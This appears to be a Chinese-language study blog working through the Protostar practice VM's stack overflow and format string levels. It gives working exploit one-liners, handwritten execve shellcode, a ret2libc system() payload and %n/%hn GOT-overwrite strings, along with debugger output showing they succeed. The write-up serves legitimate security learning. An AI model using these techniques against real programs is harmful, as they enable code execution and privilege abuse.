Protostar学习笔记
正在学习二进制安全,经糖果牛介绍,知道了还有Protostar这么个好玩的东西。实际说来,Protostar是Exploit Exercise网站下四个供安全学习用的镜像之一,除了这个以外,还有其他四个环境,分别是Nebula(Linux基础),Fusion(相当于Protostar的高难度版本),Main Sequence(似乎是Ruxcon 2012的真题)和Cloud Road(应该是Ruxcon 2014的题),具体的可以去他们的官网查阅。(另外官网上对于题目已经给出了足够的提示,因此这里的笔记只起两个作用了,一是我自己对少数题目的解法,二是我在学习过程中的点滴思考,只是对自己想法的记录。如果您感觉有一定的参考意义,那将是我的荣幸。如果您觉得这里应该公布标准答案,请移驾本处。
更新并不定期。
工作的环境配置如下:
# /bin/bash
user@protostar:~$ su
root@protostar:/# echo '1' > /proc/sys/fs/suid_dumpable
root@protostar:/# exit
user@protostar:~$ gdb -q
(gdb) set disassemble-flavor
那么下面就是正文了。
4/13/2015更新
Stack系列
Level 0~2
都是相当简单的缓冲区溢出,只不过方式稍有不同。Lv0的话,只要你输入的数量足够,就能通过了。但这没意思了不是,尝试一下最少需要多少个字符完成任务,再结合源码中在栈上分配的空间大小,要了解细节还算是比较轻松的。而Lv1则加入了对特定字符的限制,除了考查内存分配以外,还要知道小端机器是如何在内存中存放数据的。Lv2感觉是给我一个新思路,原来只知道用户输入可能有漏洞,没想过环境变量也是个靶点,看来思路还不宽。
这部分因为是中午要睡觉,所以也没太细看,简单走了几步就过去了,不过顺手搜到个很好用的trick:
export foo=`perl -e 'print "\x50\x9a\x05\x40"'`
Level 3
直接disas main
会发现使用了函数指针,不过函数指针并没有被赋值。然后敲i fun
可以看到有一个名为win的函数存在,但是并没有被使用到。disas win
可看到将0x8048540处的字符串输出,也就是说需要使函数指针指向win。disas main
可以看到编译器在栈上为输入数据分配了0x40=64个空间,因此POC如下:
perl -e 'print "a"x64 . "\x24\x84\x04\x08"' | ./stack3
4/15/2015更新
Level 4
注意这里编译器生成的代码:
and esp, 0xfffffff0
自己写了个调用gets()的程序,发现这句话是编译器自己加上去的,似乎只是为了对齐用。因此我们的POC需要重新计算(记得包括ebp和这个偏移量):
perl -e 'print "a"x76 . "\x24\x84\x04\x08"' | ./stack3
(76=64+0x08+0x04) 但是关于这个偏移量产生的原因,似乎还可以追一下。留待有时间看看。
Level 5
i fun
并没有什么卵用。disas
似乎也并没有什么作用。去官网上看了下,原来是要你构造个shellcode放进去。看了下相关配置,栈执行已经关掉了,好办。
先来看下代码:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x50
lea eax, [esp+0x10]
mov DWORD PTR [esp], eax
call <gets@plt>
leave
ret
那么压入栈中的返回地址是esp+(0x50-0x08+0x04=)76==esp+0x4c
,输入的数据存放在esp+0x10
(本环境下esp=0xbffff7c0)。先确定下:
perl -e 'print "\xcc"x76 . "\xd0\xf7\xff\xbf"' > '~/test.in'
<Alt+F2>
(gdb) r
Starting program: /opt/protostar/bin/stack5 < ~/test.in
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7d1 in ??()
(gdb) x /20x 0xbffff7d0
0xbffff7d0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
......
0xbffff810: 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff7d0
(gdb) i reg esp ebp
esp 0xbffff820 0xbffff820
ebp 0xcccccccc 0xcccccccc
看来是没问题了。那么现在写下shellcode,弹个……日历吧。感谢这家和这家的大力支持,得到了shellcode如下:
#base: 0xbffff7d0+0x1c个nop
#-1: 90 nop
#00: 31 c0 xor eax,eax
#02: a3 08 f8 ff bf mov ds:0xbffff808,eax
#07: b0 0b mov al,0xb
#09: bb 0c f8 ff bf mov ebx,0xbffff80c
#0e: b9 04 f8 ff bf mov ecx,0xbffff804
#13: 8b 15 08 f8 ff bf mov edx,DWORD PTR ds:0xbffff808
#19: cd 80 int 0x80
#0xbffff7fc: 0xbffff808 0x06198904
#0xbffff80c: /usr /bin /cal 0x00000000
#0xbffff81c: 0xbffff7d0 <----TARGET!
perl -e 'print "\x90" . "\x90"x24 . "\x31\xC0\xA3\x08\xF8\xFF\xBF\xB0\x0B\xBB\x0C\xF8\xFF\xBF\xB9\x04\xF8\xFF\xBF\x8B\x15\x08\xF8\xFF\xBF\xCD\x80" . "\x08\xf8\xff\xbf\x06\x19\x89\x04" . "/usr/bin/cal" . "\x00"x4 . "\xd0\xf7\xff\xbf"' > ~/test.in
先是把第一个nop换成了0xcc,下了个中断调了下,果然有问题,偏移量计算的不对,所以多加了三个\x00做个补丁。总体还是很容易看的,al里放上0x0b然后填参数,调用int80h,相当于执行execve()。这个函数会把控制权交给ebx指向的字符串所确定的程序,也就是日历了。效果如下:
(gdb) r
Starting program: /opt/protostar/bin/stack5 < ~/test.in
Executing new program: /usr/bin/ncal
April 2015
Su 5 12 19 26
Mo 6 13 20 27
Tu 7 14 21 28
We 1 8 15 22 29
Th 2 9 16 23 30
Fr 3 10 17 24
Sa 4 11 18 25
Program exited normally.
似乎是因为并没有覆盖到目标之外的栈帧,execve还帮助清理了上下文,所以并没有Segment Error。这种攻击方式似乎有时候会很无趣 ,毕竟能覆盖的区域不一定够。此外这个exp只能在gdb下用,因为gdb下的内存分布和一般的内存分布似乎并不一样。这个问题将在下面的这道题中给出一个解法。
4/27/2015更新(这个人正在狂补大物,嗯)
Level 6
getpath函数,翻译过来大致是这样的:
void getpath(void)
{
//offset:0x08048484
//08048484 55 push ebp
//08048485 89 e5 mov ebp,esp
//08048487 83 ec 68 sub esp,0x68
//allocated 0x68 on stack
//0804848a b8 d0 85 04 08 mov eax,0x80485d0
//0804848f 89 04 24 mov DWORD PTR [esp],eax
//08048492 e8 29 ff ff ff call 0x080483c0 <printf@plt>
printf("input path please: "); //*0x080485d0=="input path please: "
//08048497 a1 20 97 04 08 mov eax,ds:0x8049720
//0804849c 89 04 24 mov DWORD PTR [esp],eax
//0804849f e8 0c ff ff ff call 0x080483b0 <fflush@plt>
fflush(stdout); //0x08049720==stdout
//080484a4 8d 45 b4 lea eax,[ebp-0x4c]
//080484a7 89 04 24 mov DWORD PTR [esp],eax
//080484aa e8 d1 fe ff ff call 0x08048380 <gets@plt>
gets(ebp-0x4c); //result stored in ebp-0x4c, aka. esp+0x1c
//080484af 8b 45 04 mov eax,DWORD PTR [ebp+0x4]
//080484b2 89 45 f4 mov DWORD PTR [ebp-0xc],eax
//080484b5 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
//080484b8 25 00 00 00 bf and eax,0xbf000000
//080484bd 3d 00 00 00 bf cmp eax,0xbf000000
//080484c2 75 20 jne loc_080484e4
// these code checked the stack, and if return ptr is not
// modified, the program will jump to loc_080484e4,
// or will report an error.
// only when the execute code is in the stack, the system
// will work
//080484c4 b8 e4 85 04 08 mov eax,0x80485e4
//080484c9 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
//080484cc 89 54 24 04 mov DWORD PTR [esp+0x4],edx
//080484d0 89 04 24 mov DWORD PTR [esp],eax
//080484d3 e8 e8 fe ff ff call 0x080483c0 <printf@plt>
printf("bzzzt (%p)\n", *(ebp+0x4)); //show the ret addr
//080484d8 c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
//080484df e8 bc fe ff ff call 0x080483a0
exit(1);
// loc_080484e4:
//080484e4 b8 f0 85 04 08 mov eax,0x80485f0
//080484e9 8d 55 b4 lea edx,[ebp-0x4c]
//080484ec 89 54 24 04 mov DWORD PTR [esp+0x4],edx
//080484f0 89 04 24 mov DWORD PTR [esp],eax
//080484f3 e8 c8 fe ff ff call 0x080483c0 <printf@plt>
printf("got path %s\n", ebp-0x4c);
//080484f8 c9 leave
//080484f9 c3 ret
}
/*
0
| [esp=org_addr] ....
| ....
| [esp+0x1c] char input[0x40]
| ...
| [esp+0x5c] void* v1
| ...
| [ebp=esp+0x68] OLD EBP == 0xbffff818
| [esp+0x6c] RETURN ADDR == 0x08048505
V
F
*/
自带保护……棒透了。那么显然没办法任意执行自己的代码了,不过,返回地址仍然是可以覆盖的。先断下来看看有没有什么可以用的东西吧(笑:
(gdb) i func system
...
File ../sysdeps/posix/system.c:
int __libc_system(const char *);
static int do_system(const char *);
(gdb) p system
$2 = {...} 0xb7ecffb0 <__libc_system>
果然有东西。system是C里面的一个函数,通常的用法是这样的:
int main(void)
{
//...
system("whoami");
//...
return 0;
}
源程序虽然检查了返回地址,但只是要求返回地址不得位于栈中。我们只要让他去调用system(Question:这个system是位于哪里的?),然后传进去自己的参数就ok了。注意到有一个bzzzt的提示,可以提醒数据已经到了边界,所以确定下地址:
user@protostar:/opt/protostar/bin$ perl -e 'print "\xbf\x67\x68\x69"x20 . "\xbf\xbf\xbf\xbf"' | ./stack6
input path please: bzzzt (0xbfbfbfbf)
少一组就不好用,多一组就segmentation error。Bingo!可供我们填充的字节为0x50个,之后的四个字节就是返回地址了。那么exp布局如下:
#</usr/bin/whoami>.<fillings(and here is end)>.<0xb7ecffb0>.<0xb7ec60c0>.<0xbffff7fc>.<0x04198906>
user@protostar:/opt/protostar/bin$ perl -e 'print "/usr/bin/whoami;#" . "F"x63 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\xfc\xf7\xff\xbf" . "\x06\x89\x19\x04"' | ./stack6
解释下。根据这里的说明,被调用函数所看到的栈中的情况是:
|FFFFFFFF|------------------>|00000000|
|ret addr| param 1 | param 2 |........|
调用system()
的时候,需要下一条指令执行exit()
,并且带有一个字符串指针作为参数;调用exit()
之后,下一条指令是什么对我们并没有什么卵用(因为退出了),只要保证给一个退出的值就可以了。检查转储文件后可以发现,我们的输入数据是从0xbffff7fc
处开始存放的,因此就有了这个exp。
之后回头看了下protostar上的文档,发现这个检查实际是利用的 __builtin_return_address 这个函数检查栈帧。留下备用~
Level 7
目前并没做出来。
4/29/2015更新 参考了其他人的做法,是找到不会被限制的一个ret。之前都是通过覆写栈来覆盖返回地址的方法,ret后执行目标代码,换句话说是控制PC的值。那么让第一次ret出的地址指向另一个ret,而跳转目标的地址恰好在执行第一个ret前的[esp+0x08]处,就可以绕过对[esp+0x04]的检查。
但是……有没有其他有趣的方法呢?
走到死路口之前先不写这种方法的poc了。
4/30/2015更新 double ret
Format[0..4]
这组练习均是有关于格式化字符串漏洞的。如果你刚开始学习C语言,还应该参考下维基百科上关于格式化字符串的有关文章。
总体上看,这类漏洞的根源在于POSIX标准中的变参函数。我们都知道,stdcall调用方式是通过将参数压入栈中完成参数传递的,而被调用的函数应该从栈中取出各参数。而POSIX标准为了支持变参函数,提供了va_start、va_end、va_arg和va_list用来支持其工作。然而,在标准中,对函数参数个数的传递并没有要求,因此被调用函数需要自行决定取出多少参数。
这种情况下,printf等处理格式化字符串的方法是,对格式化字符串中的字符分别处理,遇到特定的转义字符(如%d、%c等等)后再调用va_arg从栈中取出函数。这种方式的问题在于,当格式化字符串可以被控制时,内存里的内容也就可以被随意读取了。此外,由于printf函数提供了%n用来向某个参数内写入数值,这造成了对内存的任意写。
Format 0
程序逻辑是,将输入的字符串解析之后,输出结果送至到另一个字符串中,之后检测某个特定位置的值是否为deadbeef。因此,我们只要做好padding即可:
./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`
Format 1
程序读入启动参数并展示,而要求我们修改内存中指定地址处的值。修改值需要用到%n,它接受的参数是一个指向可写内存区域的地址。因此可以这样先找出我们的地址:
for i in {1..300}; do ./format1 `echo -ne "\x38\x96\x04\x08%$i\\$x"`; echo; done | nl | grep 9638
127 88049638
构造:
user@protostar:/opt/protostar/bin$ ./format1 `echo -ne '\x38\x96\x04\x08%127$n'`
8you have modified the target :)
不同机器上,运行结果可能也有不同,这与装载器有关。
Format 2
这次我们要控制改写的值为0x40=64。%n的作用是将已经显示的字符数写入对应地址处,那么我们要写入64的话,应该加的padding为64-4byte地址=60,则:
user@protostar:/opt/protostar/bin$ echo -ne "\xe4\x96\x04\x08%060x%4\$n\n" | ./format2
鋿000000000000000000000000000000000000000000000000000000000200
you have modified the target :)
Format 3
为了写入0x1025544,我们仍然可以用Format2的方法:
echo -ne "\xf4\x96\x04\x08%16930112c%12\$n" | ./format3
但是,要输出这么多的字符,等待时间太长了。因此,我们每次写入2字节,那么:
echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%21820c%13\$hn%43966c%12\$hn" | ./format3
echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%250c%12\$hn%21570c%13\$hn" | ./format3
这里我们使用%hn,控制每次写入2字节。几个参数的计算方法如下:
0x1025544 = 0x0102 << 16 + 0x5544
0x0102 = 258; 258 - 8 = 250
0x5544 - 0x0102 = 21570
Y = 0x218-0x208 = 0x10
X = +0x18 + 0x4 = 0x1C
(X+Y)/4+1 = 12 //indicates the first one to extract
Format 4
为了让程序在printf后,不执行_exit,而去执行hello函数,我们需要改写plt表。关于plt表的相关内容可以参考《程序员的自我修养》一书,这里给出exp:
echo -ne "\x25\x97\x04\x08\x24\x97\x04\x08%033964c%5\$n%0491472c%4\$n\n" | ./format4
但其实,我们只需要修改一个字节就可以达到相同目的:
echo -ne "\x24\x97\x04\x08%33968u%4\$hn" | ./format4
....
code execution redirected! you win
注意,这里为了防止地址被破坏,还是需要写入两个字节。